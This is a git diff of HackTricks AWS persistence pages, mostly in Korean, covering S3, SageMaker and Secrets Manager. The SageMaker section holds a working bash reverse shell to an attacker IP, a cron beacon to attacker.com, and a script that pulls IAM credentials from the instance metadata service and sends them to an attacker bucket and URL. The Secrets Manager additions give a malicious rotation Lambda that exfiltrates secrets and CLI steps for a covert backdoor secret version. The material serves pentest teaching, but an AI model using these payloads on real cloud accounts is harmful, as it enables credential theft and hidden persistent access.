../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md deleted file mode 100644 index e190a4d65..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md +++ /dev/null @@ -1,25 +0,0 @@ -# AWS - S3 Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## S3 - -자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-s3-athena-and-glacier-enum.md -{{#endref}} - -### KMS 클라이언트 측 암호화 - -암호화 프로세스가 완료되면 사용자는 KMS API를 사용하여 새 키(`aws kms generate-data-key`)를 생성하고 **생성된 암호화 키를 파일의 메타데이터에 저장합니다** ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) 그래서 복호화가 발생할 때 KMS를 사용하여 다시 복호화할 수 있습니다: - -
- -따라서 공격자는 메타데이터에서 이 키를 가져와 KMS(`aws kms decrypt`)로 복호화하여 정보를 암호화하는 데 사용된 키를 얻을 수 있습니다. 이렇게 하면 공격자는 암호화 키를 가지게 되고, 그 키가 다른 파일을 암호화하는 데 재사용된다면 이를 사용할 수 있습니다. - -### S3 ACL 사용하기 - -일반적으로 버킷의 ACL은 비활성화되어 있지만, 충분한 권한을 가진 공격자는 이를 남용할 수 있습니다(활성화된 경우 또는 공격자가 이를 활성화할 수 있는 경우) S3 버킷에 대한 접근을 유지하기 위해. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md new file mode 100644 index 000000000..c76ee5f50 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md @@ -0,0 +1,25 @@ +# AWS - S3 Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## S3 + +For more information check: + +{{#ref}} +../../aws-services/aws-s3-athena-and-glacier-enum.md +{{#endref}} + +### KMS Client-Side Encryption + +암호화 과정이 완료되면 사용자는 KMS API를 사용해 새 키(`aws kms generate-data-key`)를 생성하고, 생성된 암호화된 키를 파일의 메타데이터에 **저장**합니다 ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)). 복호화 시에는 이 키를 다시 KMS로 복호화하여 사용합니다: + +
+ +따라서 공격자는 메타데이터에서 이 키를 얻어 KMS(`aws kms decrypt`)로 복호화하여 정보 암호화에 사용된 키를 획득할 수 있습니다. 이렇게 획득한 키가 다른 파일을 암호화하는 데 재사용되었다면, 공격자는 그 키를 사용해 다른 파일들도 복호화할 수 있습니다. + +### Using S3 ACLs + +일반적으로 버킷의 ACL은 비활성화되어 있지만, 충분한 권한을 가진 공격자는 ACL을 악용(활성화되어 있거나 공격자가 활성화할 수 있는 경우)하여 S3 버킷에 대한 접근 권한을 유지할 수 있습니다. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md deleted file mode 100644 index 2651eeded..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md +++ /dev/null @@ -1,158 +0,0 @@ -# Aws Sagemaker Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## Overview of Persistence Techniques - -이 섹션에서는 Lifecycle Configurations (LCCs)를 악용하여 SageMaker에서 지속성을 얻는 방법을 설명합니다. 여기에는 리버스 셸, 크론 작업, IMDS를 통한 자격 증명 도용 및 SSH 백도어가 포함됩니다. 이러한 스크립트는 인스턴스의 IAM 역할로 실행되며 재시작 간에도 지속될 수 있습니다. 대부분의 기술은 아웃바운드 네트워크 액세스를 요구하지만, AWS 제어 플레인에서 서비스 사용은 'VPC 전용' 모드일 때도 성공할 수 있습니다. -#### Note: SageMaker 노트북 인스턴스는 본질적으로 머신 러닝 작업을 위해 특별히 구성된 관리형 EC2 인스턴스입니다. - -## Required Permissions -* Notebook Instances: -``` -sagemaker:CreateNotebookInstanceLifecycleConfig -sagemaker:UpdateNotebookInstanceLifecycleConfig -sagemaker:CreateNotebookInstance -sagemaker:UpdateNotebookInstance -``` -* 스튜디오 애플리케이션: -``` -sagemaker:CreateStudioLifecycleConfig -sagemaker:UpdateStudioLifecycleConfig -sagemaker:UpdateUserProfile -sagemaker:UpdateSpace -sagemaker:UpdateDomain -``` -## 노트북 인스턴스에 대한 수명 주기 구성 설정 - -### 예제 AWS CLI 명령: -```bash -# Create Lifecycle Configuration* - -aws sagemaker create-notebook-instance-lifecycle-config \ ---notebook-instance-lifecycle-config-name attacker-lcc \ ---on-start Content=$(base64 -w0 reverse_shell.sh) - - -# Attach Lifecycle Configuration to Notebook Instance* - -aws sagemaker update-notebook-instance \ ---notebook-instance-name victim-instance \ ---lifecycle-config-name attacker-lcc -``` -## SageMaker Studio에서 생애 주기 구성 설정 - -생애 주기 구성은 SageMaker Studio 내의 다양한 수준과 다양한 앱 유형에 연결될 수 있습니다. - -### 스튜디오 도메인 수준 (모든 사용자) -```bash -# Create Studio Lifecycle Configuration* - -aws sagemaker create-studio-lifecycle-config \ ---studio-lifecycle-config-name attacker-studio-lcc \ ---studio-lifecycle-config-app-type JupyterServer \ ---studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) - - -# Apply LCC to entire Studio Domain* - -aws sagemaker update-domain --domain-id --default-user-settings '{ -"JupyterServerAppSettings": { -"DefaultResourceSpec": {"LifecycleConfigArn": ""} -} -}' -``` -### 스튜디오 공간 수준 (개인 또는 공유 공간) -```bash -# Update SageMaker Studio Space to attach LCC* - -aws sagemaker update-space --domain-id --space-name --space-settings '{ -"JupyterServerAppSettings": { -"DefaultResourceSpec": {"LifecycleConfigArn": ""} -} -}' -``` -## Studio 애플리케이션 라이프사이클 구성 유형 - -라이프사이클 구성은 다양한 SageMaker Studio 애플리케이션 유형에 특별히 적용될 수 있습니다: -* JupyterServer: Jupyter 서버 시작 시 스크립트를 실행하며, 리버스 셸 및 크론 작업과 같은 지속성 메커니즘에 적합합니다. -* KernelGateway: 커널 게이트웨이 앱 시작 시 실행되며, 초기 설정 또는 지속적인 액세스에 유용합니다. -* CodeEditor: 코드 편집 세션 시작 시 실행되는 스크립트를 활성화하는 Code Editor (Code-OSS)에 적용됩니다. - -### 각 유형에 대한 예제 명령: - -### JupyterServer -```bash -aws sagemaker create-studio-lifecycle-config \ ---studio-lifecycle-config-name attacker-jupyter-lcc \ ---studio-lifecycle-config-app-type JupyterServer \ ---studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) -``` -### KernelGateway -```bash -aws sagemaker create-studio-lifecycle-config \ ---studio-lifecycle-config-name attacker-kernelgateway-lcc \ ---studio-lifecycle-config-app-type KernelGateway \ ---studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh) -``` -### CodeEditor -```bash -aws sagemaker create-studio-lifecycle-config \ ---studio-lifecycle-config-name attacker-codeeditor-lcc \ ---studio-lifecycle-config-app-type CodeEditor \ ---studio-lifecycle-config-content $(base64 -w0 editor_persist.sh) -``` -### Critical Info: -* 도메인 또는 공간 수준에서 LCC를 연결하면 범위 내의 모든 사용자 또는 애플리케이션에 영향을 미칩니다. -* 일반적으로 도메인 수준보다 공간 수준에서 더 실현 가능하도록 더 높은 권한(sagemaker:UpdateDomain, sagemaker:UpdateSpace)이 필요합니다. -* 네트워크 수준의 제어(예: 엄격한 이그레스 필터링)는 성공적인 리버스 셸 또는 데이터 유출을 방지할 수 있습니다. - -## Reverse Shell via Lifecycle Configuration - -SageMaker Lifecycle Configurations (LCCs)는 노트북 인스턴스가 시작될 때 사용자 정의 스크립트를 실행합니다. 권한이 있는 공격자는 지속적인 리버스 셸을 설정할 수 있습니다. - -### Payload Example: -``` -#!/bin/bash -ATTACKER_IP="" -ATTACKER_PORT="" -nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 & -``` -## Cron Job Persistence via Lifecycle Configuration - -공격자는 LCC 스크립트를 통해 크론 작업을 주입할 수 있으며, 이를 통해 악성 스크립트나 명령의 주기적인 실행을 보장하여 은밀한 지속성을 가능하게 합니다. - -### Payload Example: -``` -#!/bin/bash -PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py" -CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH" -CRON_JOB="*/30 * * * * $CRON_CMD" - -mkdir -p /home/ec2-user/SageMaker/.local_tasks -echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH -chmod +x $PAYLOAD_PATH - -(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user - -``` -## IMDS를 통한 자격 증명 유출 (v1 & v2) - -라이프사이클 구성은 인스턴스 메타데이터 서비스(IMDS)에 쿼리하여 IAM 자격 증명을 검색하고 이를 공격자가 제어하는 위치로 유출할 수 있습니다. - -### 페이로드 예: -```bash -#!/bin/bash -ATTACKER_BUCKET="s3://attacker-controlled-bucket" -TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") -ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/) -curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json - -# Exfiltrate via S3* - -aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json - -# Alternatively, exfiltrate via HTTP POST* - -curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md new file mode 100644 index 000000000..b638d5895 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md @@ -0,0 +1,230 @@ +# AWS - SageMaker Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## 영구화 기법 개요 + +이 섹션에서는 Lifecycle Configurations (LCCs)을 악용해 SageMaker에서 persistence를 확보하는 방법들을 설명합니다. 예로는 reverse shells, cron jobs, IMDS를 통한 자격증명 탈취, SSH backdoors 등이 있습니다. 이러한 스크립트는 인스턴스의 IAM role로 실행되며 재시작 후에도 지속될 수 있습니다. 대부분의 기법은 아웃바운드 네트워크 접근을 필요로 하지만, 환경이 'VPC-only" 모드인 경우에도 AWS control plane의 서비스를 이용하면 성공할 수 있습니다. + +> [!TIP] +> 참고: SageMaker notebook instances는 본질적으로 머신러닝 워크로드를 위해 특수 구성된 관리형 EC2 인스턴스입니다. + +## 필요 권한 +* Notebook Instances: +``` +sagemaker:CreateNotebookInstanceLifecycleConfig +sagemaker:UpdateNotebookInstanceLifecycleConfig +sagemaker:CreateNotebookInstance +sagemaker:UpdateNotebookInstance +``` +* Studio 애플리케이션: +``` +sagemaker:CreateStudioLifecycleConfig +sagemaker:UpdateStudioLifecycleConfig +sagemaker:UpdateUserProfile +sagemaker:UpdateSpace +sagemaker:UpdateDomain +``` +## 노트북 인스턴스에서 Lifecycle Configuration 설정 + +### 예제 AWS CLI 명령: +```bash +# Create Lifecycle Configuration* + +aws sagemaker create-notebook-instance-lifecycle-config \ +--notebook-instance-lifecycle-config-name attacker-lcc \ +--on-start Content=$(base64 -w0 reverse_shell.sh) + + +# Attach Lifecycle Configuration to Notebook Instance* + +aws sagemaker update-notebook-instance \ +--notebook-instance-name victim-instance \ +--lifecycle-config-name attacker-lcc +``` +## SageMaker Studio에서 Lifecycle Configuration 설정 + +Lifecycle Configurations은 SageMaker Studio 내의 다양한 레벨 및 서로 다른 앱 유형에 첨부할 수 있습니다. + +### Studio 도메인 레벨 (모든 사용자) +```bash +# Create Studio Lifecycle Configuration* + +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-studio-lcc \ +--studio-lifecycle-config-app-type JupyterServer \ +--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) + + +# Apply LCC to entire Studio Domain* + +aws sagemaker update-domain --domain-id --default-user-settings '{ +"JupyterServerAppSettings": { +"DefaultResourceSpec": {"LifecycleConfigArn": ""} +} +}' +``` +### Studio Space 레벨 (개인 또는 공유 공간) +```bash +# Update SageMaker Studio Space to attach LCC* + +aws sagemaker update-space --domain-id --space-name --space-settings '{ +"JupyterServerAppSettings": { +"DefaultResourceSpec": {"LifecycleConfigArn": ""} +} +}' +``` +## Studio 애플리케이션 라이프사이클 구성 유형 + +라이프사이클 구성은 특정 SageMaker Studio 애플리케이션 유형에 개별적으로 적용될 수 있습니다: +* JupyterServer: Jupyter server 시작 시 스크립트를 실행합니다. reverse shells 및 cron jobs 같은 영속성 메커니즘에 적합합니다. +* KernelGateway: kernel gateway 앱 시작 시 실행되어 초기 설정이나 지속적 접근에 유용합니다. +* CodeEditor: Code Editor (Code-OSS)에 적용되며, 코드 편집 세션 시작 시 실행되는 스크립트를 가능하게 합니다. + +### 각 유형별 예시 명령: + +### JupyterServer +```bash +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-jupyter-lcc \ +--studio-lifecycle-config-app-type JupyterServer \ +--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) +``` +### KernelGateway +```bash +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-kernelgateway-lcc \ +--studio-lifecycle-config-app-type KernelGateway \ +--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh) +``` +### 코드 에디터 +```bash +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-codeeditor-lcc \ +--studio-lifecycle-config-app-type CodeEditor \ +--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh) +``` +### 중요 정보: +* 도메인 또는 스페이스 수준에서 LCCs를 연결하면 범위 내의 모든 사용자 또는 애플리케이션에 영향을 미칩니다. +* 더 높은 권한이 필요합니다 (sagemaker:UpdateDomain, sagemaker:UpdateSpace). 일반적으로 도메인 수준보다 스페이스 수준에서 구현하기 더 용이합니다. +* 네트워크 수준의 제어(예: strict egress filtering)는 성공적인 reverse shells 또는 data exfiltration을 방지할 수 있습니다. + +## Reverse Shell via Lifecycle Configuration + +SageMaker Lifecycle Configurations (LCCs)는 notebook 인스턴스가 시작될 때 사용자 정의 스크립트를 실행합니다. 권한을 가진 공격자는 지속적인 reverse shell을 설정할 수 있습니다. + +### Payload Example: +``` +#!/bin/bash +ATTACKER_IP="" +ATTACKER_PORT="" +nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 & +``` +## Cron Job Persistence via Lifecycle Configuration + +공격자는 LCC scripts를 통해 cron jobs를 주입하여 악성 scripts 또는 commands가 주기적으로 실행되도록 하여 은밀한 persistence를 유지할 수 있습니다. + +### Payload Example: +``` +#!/bin/bash +PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py" +CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH" +CRON_JOB="*/30 * * * * $CRON_CMD" + +mkdir -p /home/ec2-user/SageMaker/.local_tasks +echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH +chmod +x $PAYLOAD_PATH + +(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user - +``` +## Credential Exfiltration via IMDS (v1 & v2) + +Lifecycle configurations는 Instance Metadata Service (IMDS)에 쿼리하여 IAM credentials를 검색하고 공격자가 제어하는 위치로 exfiltrate할 수 있습니다. + +### Payload Example: +```bash +#!/bin/bash +ATTACKER_BUCKET="s3://attacker-controlled-bucket" +TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") +ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/) +curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json + +# Exfiltrate via S3* + +aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json + +# Alternatively, exfiltrate via HTTP POST* + +curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload +``` +## Model Registry 리소스 정책을 통한 지속성 (PutModelPackageGroupPolicy) + +SageMaker Model Package Group의 리소스 기반 정책을 악용해 외부 principal에게 cross-account 권한(예: CreateModelPackage/Describe/List)을 부여합니다. 이렇게 하면 피해자 계정에서 공격자의 IAM user/role이 제거되어도 poisoned model versions를 푸시하거나 model metadata/artifacts를 읽을 수 있는 지속적인 백도어가 생성됩니다. + +필수 권한 +- sagemaker:CreateModelPackageGroup +- sagemaker:PutModelPackageGroupPolicy +- sagemaker:GetModelPackageGroupPolicy + +단계 (us-east-1) +```bash +# 1) Create a Model Package Group +REGION=${REGION:-us-east-1} +MPG=atk-mpg-$(date +%s) +aws sagemaker create-model-package-group \ +--region "$REGION" \ +--model-package-group-name "$MPG" \ +--model-package-group-description "Test backdoor" + +# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account) +cat > /tmp/mpg-policy.json <:model-package-group/${MPG}", +"arn:aws:sagemaker:${REGION}::model-package/${MPG}/*" +] +} +] +} +JSON + +# 3) Attach the policy to the group +aws sagemaker put-model-package-group-policy \ +--region "$REGION" \ +--model-package-group-name "$MPG" \ +--resource-policy "$(jq -c . /tmp/mpg-policy.json)" + +# 4) Retrieve the policy (evidence) +aws sagemaker get-model-package-group-policy \ +--region "$REGION" \ +--model-package-group-name "$MPG" \ +--query ResourcePolicy --output text +``` +참고 +- 실제 cross-account 백도어의 경우, Resource를 특정 그룹 ARN으로 제한하고 Principal에 공격자의 AWS 계정 ID를 사용하세요. +- 종단 간 cross-account 배포 또는 아티팩트 읽기의 경우, S3/ECR/KMS 권한을 공격자 계정에 맞춰 정렬하세요. + +영향 +- Model Registry 그룹에 대한 지속적인 계정 간 제어: 공격자는 피해자 계정에서 자신의 IAM 엔티티가 제거된 이후에도 악성 모델 버전을 게시하거나 모델 메타데이터를 열거/읽을 수 있습니다. + +## Canvas cross-account model registry backdoor (UpdateUserProfile.ModelRegisterSettings) + +SageMaker Canvas 사용자 설정을 악용해 ModelRegisterSettings를 활성화하고 CrossAccountModelRegisterRoleArn을 다른 계정의 공격자 역할로 지정함으로써 모델 레지스트리 쓰기를 공격자 제어 계정으로 조용히 리디렉션합니다. + +필요 권한 +- 대상 UserProfile에 대한 sagemaker:UpdateUserProfile +- 선택: 자신이 제어하는 Domain에 대한 sagemaker:CreateUserProfile + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md deleted file mode 100644 index 15a5abd2b..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md +++ /dev/null @@ -1,51 +0,0 @@ -# AWS - Secrets Manager Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## Secrets Manager - -자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-secrets-manager-enum.md -{{#endref}} - -### 리소스 정책을 통한 접근 - -리소스 정책을 통해 **외부 계정에 비밀에 대한 접근 권한을 부여**할 수 있습니다. 더 많은 정보는 [**Secrets Manager Privesc 페이지**](../aws-privilege-escalation/aws-secrets-manager-privesc.md)를 확인하세요. **비밀에 접근하기 위해서는** 외부 계정이 **비밀을 암호화하는 KMS 키에 대한 접근 권한도 필요**하다는 점에 유의하세요. - -### Secrets Rotate Lambda를 통한 접근 - -비밀을 자동으로 **회전**하기 위해 구성된 **Lambda**가 호출됩니다. 공격자가 **코드**를 **변경**할 수 있다면, 그는 직접 **새 비밀을 자신에게 유출**할 수 있습니다. - -이런 행동을 위한 lambda 코드의 예시는 다음과 같을 수 있습니다: -```python -import boto3 - -def rotate_secrets(event, context): -# Create a Secrets Manager client -client = boto3.client('secretsmanager') - -# Retrieve the current secret value -secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString'] - -# Rotate the secret by updating its value -new_secret_value = rotate_secret(secret_value) -client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value) - -def rotate_secret(secret_value): -# Perform the rotation logic here, e.g., generate a new password - -# Example: Generate a new password -new_secret_value = generate_password() - -return new_secret_value - -def generate_password(): -# Example: Generate a random password using the secrets module -import secrets -import string -password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16)) -return password -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md new file mode 100644 index 000000000..0f8cd8466 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md @@ -0,0 +1,234 @@ +# AWS - Secrets Manager 지속성 + +{{#include ../../../../banners/hacktricks-training.md}} + +## Secrets Manager + +자세한 내용은 다음을 확인하세요: + +{{#ref}} +../../aws-services/aws-secrets-manager-enum.md +{{#endref}} + +### 리소스 정책을 통해 + +리소스 정책을 통해 외부 계정에 **secrets에 대한 접근 권한을 부여할 수 있습니다**. 자세한 내용은 [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md)를 확인하세요. 외부 계정이 **secret에 접근**하려면 해당 secret을 암호화한 **KMS key에 대한 접근 권한**도 필요하다는 점에 유의하세요. + +### Secrets Rotate Lambda를 통해 + +시크릿을 자동으로 **rotate**하기 위해 구성된 **Lambda**가 호출됩니다. 공격자가 **코드**를 **변경**할 수 있다면 새 시크릿을 직접 **exfiltrate the new secret**할 수 있습니다. + +This is how lambda code for such action could look like: +```python +import boto3 + +def rotate_secrets(event, context): +# Create a Secrets Manager client +client = boto3.client('secretsmanager') + +# Retrieve the current secret value +secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString'] + +# Rotate the secret by updating its value +new_secret_value = rotate_secret(secret_value) +client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value) + +def rotate_secret(secret_value): +# Perform the rotation logic here, e.g., generate a new password + +# Example: Generate a new password +new_secret_value = generate_password() + +return new_secret_value + +def generate_password(): +# Example: Generate a random password using the secrets module +import secrets +import string +password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16)) +return password +``` +{{#include ../../../../banners/hacktricks-training.md}} + + + + + +### RotateSecret를 통해 rotation Lambda를 공격자 제어 함수로 전환 + +`secretsmanager:RotateSecret`를 남용해 secret의 rotation을 공격자 제어 rotation Lambda로 재바인딩하고 즉시 rotation을 트리거합니다. 악의적인 함수는 rotation 단계(createSecret/setSecret/testSecret/finishSecret)에서 secret 버전들(AWSCURRENT/AWSPENDING)을 공격자 수신지(예: S3 또는 외부 HTTP)로 유출합니다. + +- Requirements +- Permissions: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` on the attacker Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (or AttachRolePolicy) to provision the Lambda execution role with `secretsmanager:GetSecretValue` and preferably `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (so rotation keeps working), KMS `kms:Decrypt` for the secret KMS key, and `s3:PutObject` (or outbound egress) for exfiltration. +- A target secret id (`SecretId`) with rotation enabled or the ability to enable rotation. + +- Impact +- 공격자는 legit rotation 코드를 수정하지 않고도 secret 값을 획득합니다. rotation 구성만 공격자 Lambda를 가리키도록 변경됩니다. 탐지되지 않으면 예약된 이후의 rotation들 또한 공격자 함수가 계속 호출됩니다. + +- Attack steps (CLI) +1) Prepare attacker sink and Lambda role +- Create S3 bucket for exfiltration and an execution role trusted by Lambda with permissions to read the secret and write to S3 (plus logs/KMS as needed). +2) Deploy attacker Lambda that on each rotation step fetches the secret value(s) and writes them to S3. Minimal rotation logic can just copy AWSCURRENT to AWSPENDING and promote it in finishSecret to keep the service healthy. +3) Rebind rotation and trigger +- `aws secretsmanager rotate-secret --secret-id --rotation-lambda-arn --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately` +4) Verify exfiltration by listing the S3 prefix for that secret and inspecting the JSON artifacts. +5) (Optional) Restore the original rotation Lambda to reduce detection. + +- Example attacker Lambda (Python) exfiltrating to S3 +- Environment: `EXFIL_BUCKET=` +- Handler: `lambda_function.lambda_handler` +```python +import boto3, json, os, base64, datetime +s3 = boto3.client('s3') +sm = boto3.client('secretsmanager') +BUCKET = os.environ['EXFIL_BUCKET'] + +def write_s3(key, data): +s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json') + +def lambda_handler(event, context): +sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step'] +# Exfil both stages best-effort +def getv(**kw): +try: +r = sm.get_secret_value(**kw) +return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')} +except Exception as e: +return {'error': str(e)} +current = getv(SecretId=sid, VersionStage='AWSCURRENT') +pending = getv(SecretId=sid, VersionStage='AWSPENDING') +key = f"{sid.replace(':','_')}/{step}/{token}.json" +write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending}) +# Minimal rotation (optional): copy current->pending and promote in finishSecret +# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage) +``` +### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip) + +Abuse Secrets Manager 버전 스테이징 레이블을 악용하여 공격자가 제어하는 시크릿 버전을 심고 프로덕션은 기존의 `AWSCURRENT`을 계속 사용하는 동안 커스텀 스테이지(예: `ATTACKER`) 아래에 숨겨 둡니다. 언제든 `AWSCURRENT`을 공격자 버전으로 이동시켜 의존하는 워크로드를 오염시킨 뒤, 감지 가능성을 최소화하기 위해 복원할 수 있습니다. 이렇게 하면 시크릿 이름이나 rotation 구성은 변경하지 않으면서 은밀한 백도어 영속성과 빠른 사용 시점 조작이 가능합니다. + +- Requirements +- 권한: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (검증용) +- 대상 secret id가 해당 리전에 있어야 함. + +- Impact +- 숨겨진 공격자 제어 시크릿 버전을 유지하고 필요 시 `AWSCURRENT`를 해당 버전으로 원자적으로 전환하여 동일한 시크릿 이름을 해석하는 모든 소비자에 영향을 미칠 수 있습니다. 전환과 빠른 복원은 탐지 가능성을 낮추면서 사용 시점 침해를 가능하게 합니다. + +- Attack steps (CLI) +- Preparation +- `export SECRET_ID=` + +
+CLI 명령 +```bash +# 1) Capture current production version id (the one holding AWSCURRENT) +CUR=$(aws secretsmanager list-secret-version-ids \ +--secret-id "$SECRET_ID" \ +--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \ +--output text) + +# 2) Create attacker version with known value (this will temporarily move AWSCURRENT) +BACKTOK=$(uuidgen) +aws secretsmanager put-secret-value \ +--secret-id "$SECRET_ID" \ +--client-request-token "$BACKTOK" \ +--secret-string {backdoor:hunter2!} + +# 3) Restore production and hide attacker version under custom stage +aws secretsmanager update-secret-version-stage \ +--secret-id "$SECRET_ID" \ +--version-stage AWSCURRENT \ +--move-to-version-id "$CUR" \ +--remove-from-version-id "$BACKTOK" + +aws secretsmanager update-secret-version-stage \ +--secret-id "$SECRET_ID" \ +--version-stage ATTACKER \ +--move-to-version-id "$BACKTOK" + +# Verify stages +aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated + +# 4) On-demand flip to the attacker’s value and revert quickly +aws secretsmanager update-secret-version-stage \ +--secret-id "$SECRET_ID" \ +--version-stage AWSCURRENT \ +--move-to-version-id "$BACKTOK" \ +--remove-from-version-id "$CUR" + +# Validate served plaintext now equals the attacker payload +aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text + +# Revert to reduce detection +aws secretsmanager update-secret-version-stage \ +--secret-id "$SECRET_ID" \ +--version-stage AWSCURRENT \ +--move-to-version-id "$CUR" \ +--remove-from-version-id "$BACKTOK" +``` +
